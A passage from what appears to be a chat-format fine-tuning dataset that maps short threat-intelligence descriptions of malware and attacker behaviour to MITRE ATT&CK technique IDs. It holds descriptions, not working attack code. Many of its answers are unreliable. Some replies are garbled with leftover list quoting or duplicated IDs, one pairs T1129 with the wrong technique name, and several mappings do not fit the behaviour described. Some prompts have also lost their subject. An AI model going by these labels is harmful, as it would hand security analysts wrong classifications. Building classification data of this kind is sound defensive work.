                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After achieving access to staging targets, the threat actors installed tools to carry out operations against intended victims. On one occasion, threat actors installed the free version of FortiClient, which they presumably used as a VPN client to connect to intended target networks"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Micropsia uses HTTP and HTTPS for C2 network communications."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dragonfly 2.0 used batch scripts to enumerate administrators and users in the domain."
            },
            {
                "role": "assistant",
                "content": "T1069.002 - Permission Groups Discovery: Domain Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sliver can upload files from the C2 server to the victim machine using the \"upload\" command."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In most systems compromised by Kobalos, the SSH client is compromised to steal credentials. This credential stealer is unlike any of the malicious OpenSSH clients we’ve seen before, and we’ve looked at tens of them in the past eight years. The sophistication of this component is not the same as Kobalos itself: there was no effort to obfuscate early variants of the credential stealer. However, we found newer variants that contain some obfuscation and the ability to exfiltrate credentials over the network"
            },
            {
                "role": "assistant",
                "content": "T1048 - Exfiltration Over Alternative Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The process begins with the consistent execution of a malicious DLL using the legitimate regsvr32.exe Windows Utility. Once executed, the DLL is deleted from the system and its components are dropped to the system"
            },
            {
                "role": "assistant",
                "content": "T1218.010 - Signed Binary Proxy Execution: Regsvr32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Nerex drops a signed Microsoft DLL to disk."
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bankshot modifies the time of a file as specified by the control server."
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal on Host: Timestomp"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SDBbot can enumerate a list of running processes on a compromised machine."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "USBferry can detect the infected machine's network topology using \"ipconfig\" and \"arp\"."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can change Internet Explorer settings to reduce warnings about malware activity."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Of note, we also discovered the Sofacy group using a very similar delivery document to deliver a new Trojan called Cannon. Cannon uses SMTPS and POP3S as its C2 channel compared to Zebrocy that uses a more commonly observed HTTP or HTTPS based C2. Add the layer of encryption that the SMTPS and POP3S protocols provide to the legitimate web-based service and you have a very difficult C2 channel to block"
            },
            {
                "role": "assistant",
                "content": "T1071.003 - Mail Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can uninstall malware components using a batch script. Additionally, a malicious Word document used for delivery uses VBA macros for execution."
            },
            {
                "role": "assistant",
                "content": "T1064 - Scripting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bonadan has maliciously altered the OpenSSH binary on targeted systems to create a backdoor."
            },
            {
                "role": "assistant",
                "content": "T1554 - Compromise Host Software Binary"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "copies itself to the Startup folder to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ComRAT has used a task name associated with Windows SQM Consolidator."
            },
            {
                "role": "assistant",
                "content": "T1036.004 - Masquerading: Masquerade Task or Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DarkWatchman has been observed deleting its original launcher after installation."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Koadic can scan for open TCP ports on the target network."
            },
            {
                "role": "assistant",
                "content": "T1046 - Network Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Carberp has removed various hooks before installing the trojan or bootkit to evade sandbox analysis or other analysis software."
            },
            {
                "role": "assistant",
                "content": "T1497 - Virtualization/Sandbox Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kazuar gathers information on the system and local drives."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WannaCry attempts to copy itself to remote computers after gaining access via an SMB exploit."
            },
            {
                "role": "assistant",
                "content": "T1570 - Lateral Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "used cmd.exe to launch commands on the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Skidmap has monitored critical processes to ensure resiliency."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cisco Talos has observed another malware campaign that utilizes malicious Microsoft Office documents (maldocs) to spread the remote access trojan (RAT) ObliqueRAT. ObliqueRAT has been linked to the Transparent Tribe APT group in the past"
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment', 'T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The command does not attempt to kill the specific Office process that would load the particular delivery document, such as Excel in the case of this “.xlam” file, but instead attempts to kill processes associated with Word, Excel, PowerPoint and Publisher"
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The analysis of the tools and techniques used in the Astaroth campaign show how truly effective LOLbins are at evading antivirus products"
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Agent Tesla can collect account information from the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1087.001 - Account Discovery: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Empire can leverage its implementation of Mimikatz to obtain and use golden tickets."
            },
            {
                "role": "assistant",
                "content": "T1558.001 - Steal or Forge Kerberos Tickets: Golden Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attackers used both families concurrently from late last year through November 2017 and there is some C2 infrastructure overlap between the two families, as well as links to historical reporting. Reaver Malware Analysis To date, Palo Alto Networks Unit 42 has identified 10 unique samples and three distinct variants of a new malware family we have named “Reaver”. As such, we identify each variant as Reaver.v1, Reaver.v2, and Reaver.v3. Reaver.v1 has been observed delivering a payload that uses HTTP for network communication, while versions 2 and 3 use a payload that uses raw TCP connections for this communication. The flow for Reaver is as shown"
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols', 'T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SslMM contains a feature to manipulate process privileges and tokens."
            },
            {
                "role": "assistant",
                "content": "T1134 - Access Token Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT41 used a compromised account to create a scheduled task on a system."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "executes  using PowerShell and can also perform pass-the-ticket and use Lazagne for harvesting credentials."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "gh0st RAT has checked for the existence of a Service key to determine if it has already been installed on the system."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "JHUHUGIT uses a .bat file to execute a .dll."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "leveraged PowerShell to run commands to download payloads, traverse the compromised networks, and carry out reconnaissance."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HiddenWasp uses an RC4-like algorithm with an already computed PRGA generated key-stream for network communication."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses PowerShell for execution."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SilverTerrier uses HTTP for C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "StrifeWater can collect data from a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This hardens the encryption of the network communication, as a single RC4 key will not decrypt the entire payload. Leverages existing Windows registry key that is enabled by default in Windows 10 to store configuration data. Generates unique session keys for each connection to the C2 server. Employs polymorphic code, changing its runtime footprint during code execution to thwart memory analysis and evade signaturing. Encrypts or decrypts function blocks (code blocks) during runtime, as needed, to evade detection. Uses position independent code (PIC) to throw off static analysis tools"
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kasidet can execute commands using cmd.exe."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Tasklist can be used to enumerate security software currently running on a system by process name of known products."
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The file named ‘lsass.exe’ was downloaded from win10-update[.]com via an HTTP request. The win10-update[.]com domain has been noted in open source as an indicator associated with Chafer threat operations. The lsass.exe file downloaded from this domain is a previously unreported python-based payload that we are currently tracking as MechaFlounder. We believe Chafer uses MechaFlounder as a secondary payload that the group downloads from a first-stage payload to carry out its post-exploitation activities on the compromised host"
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SMOKEDHAM has exfiltrated data to its C2 server."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "As seen in the above request, the Trojan will generate a URL for its beacon with the following structure:http://<c2 domain>/chk?<hex(Environment.UserName/Environment.MachineName)> The Trojan will issue a request to this URL to check (hence the chk string in the URL) to see if the C2 server has a command for the Trojan to run"
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After exploiting these vulnerabilities to gain initial access, HAFNIUM operators deployed web shells on the compromised server. Web shells potentially allow attackers to steal data and perform additional malicious actions that lead to further compromise. One example of a web shell deployed by HAFNIUM, written in ASP, is below"
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This can potentially bypass application whitelisting since all processes spawned during the attack are legitimate Microsoft executables"
            },
            {
                "role": "assistant",
                "content": "T1055.012 - Process Injection: Process Hollowing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Clambling has the ability to set its file attributes to hidden."
            },
            {
                "role": "assistant",
                "content": "T1564.001 - Hide Artifacts: Hidden Files and Directories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HOPLIGHT has modified the firewall using netsh."
            },
            {
                "role": "assistant",
                "content": "T1562.004 - Impair Defenses: Disable or Modify System Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Egregor can perform a  long sleep (greater than or equal to 3 minutes) to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1497.003 - Time Based Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After Comnie has been copied to the %TEMP% directory, it will look for the presence of the ‘DQuit.tmp’ file in this path"
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TrickBot uses web injects and browser redirection to trick the user into providing their login credentials on a fake or modified web page."
            },
            {
                "role": "assistant",
                "content": "T1185 - Browser Session Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DownPaper communicates to its C2 server over HTTP."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "executes commands remotely via cmd.exe."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Later, the attackers are observed executing an HTA file hosted on a remote server by abusing mshta.exe via depended.exe. The Mshta utility can execute Microsoft HTML Application (HTA) files and can be abused to bypass application control solutions. Since mshta.exe executes outside of Internet Explorer's security context, it also bypasses browser security settings"
            },
            {
                "role": "assistant",
                "content": "T1218.005 - Signed Binary Proxy Execution: Mshta"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lateral movement can be done with Net through \"net use\" commands to connect to the on remote systems."
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The generated buffer is encoded using the BASE64 alphabet to be sent in the POST request"
            },
            {
                "role": "assistant",
                "content": "T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "hides any strings related to its own indicators of compromise."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information', 'T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Aria-body has the ability to execute a process using \"runas\"."
            },
            {
                "role": "assistant",
                "content": "T1134.002 - Create Process with Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "If no exceptions occur, the Windows executable drops a DLL file in the user's AppData\\Local\\Temp\\ directory, creates a randomly-named folder under C:\\ProgramData\\ directory and moves the DLL under that folder as a random file name. This Redaman DLL is made persistent through a scheduled Windows task with the following properties"
            },
            {
                "role": "assistant",
                "content": "T1036.004 - Masquerading: Masquerade Task or Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "gh0st RAT can load DLLs into memory."
            },
            {
                "role": "assistant",
                "content": "T1129 - Server Software Component"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Trojan.Karagany can monitor the titles of open windows to identify specific keywords."
            },
            {
                "role": "assistant",
                "content": "T1010 - Application Window Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "11 AV detection If there is no Avast install present, the script proceeds to the final .dll execution using regsvr32 and quits"
            },
            {
                "role": "assistant",
                "content": "T1218.010 - Signed Binary Proxy Execution: Regsvr32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sys10 collects the local IP address of the victim and sends it to the C2."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PoisonIvy creates a backdoor through which remote attackers can steal system information."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cannon can download a payload for execution."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "UNC2452 used the \"Get-AcceptedDomain\" PowerShell cmdlet to enumerate accepted domains through an Exchange Management Shell. They also used AdFind to enumerate domains and to discover trust between federated domains."
            },
            {
                "role": "assistant",
                "content": "T1482 - Domain Trust Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "malware has created scheduled tasks to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The first of FIN7's new tools is BOOSTWRITE – an in-memory-only dropper that decrypts embedded payloads using an encryption key retrieved from a remote server at runtime. FIN7 has been observed making small changes to this malware family using multiple methods to avoid traditional antivirus detection, including a BOOSTWRITE sample where the dropper was signed by a valid Certificate Authority. While CARBANAK has been thoroughly analyzed and has been used maliciously by several financial attackers including FIN7, RDFSNIFFER is a newly-identified tool recovered by Mandiant investigators"
            },
            {
                "role": "assistant",
                "content": "T1587.001 - Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FoggyWeb's loader can check for the FoggyWeb backdoor .pri file on a compromised AD FS server."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "For instance, the following data exists within a resource: fb 70 b0 c9 bd c5 8a d4 0c 54 fd 4c 6d bb f0 0f By multiplying each byte with -1, we obtain the following data: 05 90 50 37 43 3b 76 2c f4 ac 03 b4 93 45 10 f1 After using RC4 and the key 14331d289e737093994395d3fc412afc, the following cleartext data appears: \\x00\\x00\\x00\\x00FlashRun.vbs We do not see the payload using this FlashRun.vbs filename, instead it uses a temporary file name to store an embedded VBScript file, such as %Temp%\\4.tmp\\5.vbs"
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading', 'T1064 - Scripting', 'T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RCSession has the ability to drop additional files to an infected machine."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
